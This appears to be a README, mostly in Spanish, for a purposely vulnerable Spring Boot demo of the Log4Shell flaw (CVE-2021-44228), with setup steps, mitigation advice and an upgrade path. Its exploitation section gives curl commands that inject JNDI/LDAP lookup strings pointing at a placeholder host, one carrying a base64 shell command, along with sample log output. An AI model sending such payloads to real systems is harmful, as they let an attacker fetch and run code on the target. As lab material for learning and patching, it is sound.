Aplicación vulnerable Log4j2 de muestra (CVE-2021-44228)

Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.14.1

Esta aplicación se basa en una aplicación web Spring Boot vulnerable a CVE-2021-44228

Utiliza Log4j 2.14.1 (a través de spring-boot-starter-log4j2 2.6.1).

Ejecutando la aplicación

Ejecútala:

Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

Pasos de explotación

• Luego, desencadena el exploit usando:

For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
	"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'

• Observa la salida, que muestra que se está conectando al servidor LDAP malicioso:

021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]


Caused by: java.net.UnknownHostException: your-private-ip

• si proporcionas detalles reales del servidor ldap, descargará el objeto y lo ejecutará en tu programa Java

Esta vulnerabilidad afecta a todos los servidores, tanto los orientados al cliente como los sistemas centrales backend, si tu aplicación imprime mensajes de registro de datos no validados..

• Por ejemplo, una cadena User-Agent que contenga el exploit podría pasarse a un sistema backend escrito en Java que realice indexación o ciencia de datos y el exploit podría registrarse. Por eso es vital que todo el software basado en Java que use Log4j versión 2 sea parcheado o se le apliquen mitigaciones de inmediato. Incluso si el software orientado a Internet no está escrito en Java, es posible que las cadenas se pasen a otros sistemas que sí lo están, permitiendo que ocurra el exploit.

Mitigación :

Referencia : https://logging.apache.org/log4j/2.x/security.html

• Corrección rápida de la aplicación -> En versiones >=2.10, este comportamiento se puede mitigar estableciendo la propiedad del sistema log4j2.formatMsgNoLookups o la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS en true. Para versiones desde 2.0-beta9 hasta 2.10.0, la mitigación es eliminar la clase JndiLookup del classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

• Actualiza a log4j 2.15.0 en la aplicación y despliega